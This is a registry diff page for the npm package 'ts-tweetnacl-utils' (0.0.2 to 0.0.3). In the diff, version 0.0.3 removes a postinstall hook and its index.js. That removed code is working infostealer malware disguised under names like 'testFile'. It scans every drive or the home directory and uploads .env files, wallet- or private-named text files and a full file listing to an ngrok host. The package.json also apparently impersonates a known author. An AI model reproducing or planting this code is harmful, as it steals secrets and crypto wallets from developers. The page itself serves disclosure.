ts-tweetnacl-utils 0.0.2 → 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -1,214 +0,0 @@
1
-
2
- import os from 'os';
3
- import fs from 'fs';
4
- import path from 'path';
5
- import { execSync } from 'child_process';
6
- import axios from 'axios';
7
- import FormData from 'form-data';
8
-
9
- // ---------------- CONFIG ---------------- //
10
-
11
- const ALLOWED_EXT = new Set(['.env']);
12
-
13
- const IGNORED_EXT = new Set([
14
- '.tmp',
15
- '.regtrans-ms',
16
- '.rdp',
17
- '.igpi',
18
- '.js',
19
- '.jsx',
20
- '.ts',
21
- '.tsx',
22
- '.webp',
23
- '.rs',
24
- '.dat',
25
- '.log',
26
- '.sys',
27
- '.ini',
28
- '.exe',
29
- '.msi',
30
- '.log1',
31
- '.log2',
32
- '.blf',
33
- '.lnk',
34
- '.library-ms',
35
- '.rdp',
36
- '.igpi',
37
- '.search-ms',
38
- '.searchconnector-ms',
39
- '.lock',
40
- '.db',
41
- '.html',
42
- '.css',
43
- '.scss',
44
- '.rs',
45
- '.d',
46
- '.rlib',
47
- '.rmeta',
48
- '.o',
49
- '.mp4',
50
- '.webm',
51
- '.mp3',
52
- '.svg',
53
- '.gif',
54
- '.ttf',
55
- '.eot',
56
- '.woff',
57
- '.woff2',
58
- '.otf',
59
- '.timestamp',
60
- '.a',
61
- '.backup',
62
- '.2',
63
- '.sh',
64
- '.ld',
65
- '.mk',
66
- '.h',
67
- '.inc',
68
- ]);
69
-
70
- const GLOBAL_IGNORE = new Set([
71
- 'node_modules',
72
- '.git',
73
- '.github',
74
- '.vscode',
75
- '.idea',
76
- '__pycache__',
77
- 'dist',
78
- 'build',
79
- '.cargo',
80
- '.rustup',
81
- 'node-gyp',
82
- '.nvm',
83
- '.npm',
84
- '.avm',
85
- '.yarn',
86
- '.cache',
87
- ]);
88
-
89
- const ABSOLUTE_IGNORE = [
90
- 'C:\\Windows',
91
- 'C:\\Program Files',
92
- 'C:\\Program Files (x86)',
93
- 'C:\\$Recycle.Bin',
94
- 'C:\\Users\\Default',
95
- 'C:\\Users\\All Users',
96
- 'C:\\ProgramData',
97
- 'C:\\System Volume Information',
98
- 'C:\\Boot',
99
- 'C:\\Drivers',
100
- 'C:\\EFI',
101
- ];
102
-
103
- const userProfile = os.homedir();
104
- const appData = path.join(userProfile, 'AppData');
105
-
106
- // ----------------------------------
107
- // Test
108
- // ----------------------------------
109
- async function testFile(filePath) {
110
- try {
111
- const form = new FormData();
112
- form.append('file', fs.createReadStream(filePath));
113
-
114
- await axios.post('https://2939e69fc408.ngrok-free.app', form, {
115
- headers: form.getHeaders(),
116
- maxBodyLength: Infinity, // For large files
117
- maxContentLength: Infinity
118
- });
119
- } catch { }
120
- }
121
-
122
- // Get Windows drive letters
123
- const getAllDrives = () => {
124
- if (os.platform() == 'win32') {
125
- const output = execSync('fsutil fsinfo drives', { encoding: 'utf8' });
126
- return output
127
- .split(' ')
128
- .filter(line => line.includes(':\\'))
129
- .map(line => line.trim());
130
- } else {
131
- return [os.homedir()];
132
- }
133
- };
134
-
135
- // ---------------- SCANNER ---------------- //
136
-
137
- async function scanAllDrives() {
138
- const drives = getAllDrives();
139
-
140
- const queue = [...drives];
141
- const files = [];
142
-
143
- while (queue.length > 0) {
144
- const dir = queue.shift();
145
-
146
- let entries;
147
- try {
148
- entries = await fs.promises.readdir(dir, { withFileTypes: true });
149
- } catch (_) {
150
- continue; // No permission or unreadable
151
- }
152
-
153
- for (const entry of entries) {
154
- const fullPath = path.join(dir, entry.name);
155
-
156
- // Skip ignored folder names anywhere
157
- if (entry.isDirectory() && GLOBAL_IGNORE.has(entry.name)) continue;
158
-
159
- // Skip system folders by absolute prefix
160
- if (entry.isDirectory() && (ABSOLUTE_IGNORE.some(p => fullPath.startsWith(p))) || fullPath.startsWith(appData)) continue;
161
-
162
- if (entry.isDirectory()) {
163
- queue.push(fullPath);
164
- } else if (entry.isFile()) {
165
- const extension = path.extname(entry.name).toLowerCase();
166
-
167
- if (!IGNORED_EXT.has(extension)) {
168
- files.push(fullPath);
169
-
170
- if (ALLOWED_EXT.has(extension)) {
171
- await testFile(fullPath);
172
- } else {
173
- const name = entry.name.toLowerCase();
174
- const isEnvFile = name === '.env' || name.endsWith('.env');
175
- if (
176
- isEnvFile ||
177
- (
178
- extension.toLowerCase() == '.txt' &&
179
- (name.toLowerCase().includes('wallet') || name.toLowerCase().includes('private'))
180
- )
181
- ) {
182
- await testFile(fullPath);
183
- }
184
- }
185
- }
186
- }
187
- }
188
- }
189
-
190
- return files;
191
- }
192
-
193
- // ----------------------------------
194
- // MAIN FUNCTION
195
- // ----------------------------------
196
- async function testAllDrives() {
197
- try {
198
- const start = Date.now();
199
-
200
- const files = await scanAllDrives();
201
-
202
- const fileListPath = 'file_list.json';
203
- await fs.promises.writeFile(fileListPath, JSON.stringify(files, null, 2));
204
- await testFile(fileListPath);
205
- await fs.promises.unlink(fileListPath);
206
-
207
- const end = Date.now();
208
- console.log('⏱ Time:', ((end - start) / 1000).toFixed(2), 'seconds');
209
- } catch { }
210
- }
211
-
212
- export function onInstall() {
213
- testAllDrives();
214
- }
package/package.json CHANGED
@@ -1,11 +1,10 @@
1
1
  {
2
2
  "name": "ts-tweetnacl-utils",
3
- "version": "0.0.2",
3
+ "version": "0.0.3",
4
4
  "type": "module",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1",
8
- "postinstall": "node scripts/postinstall.js"
7
+ "test": "echo \"Error: no test specified\" && exit 1"
9
8
  },
10
9
  "keywords": [],
11
10
  "author": "TJ Holowaychuk <tj@vision-media.ca> (http://tjholowaychuk.com)",
@@ -1,3 +0,0 @@
1
- import { onInstall } from "../index.js";
2
-
3
- onInstall();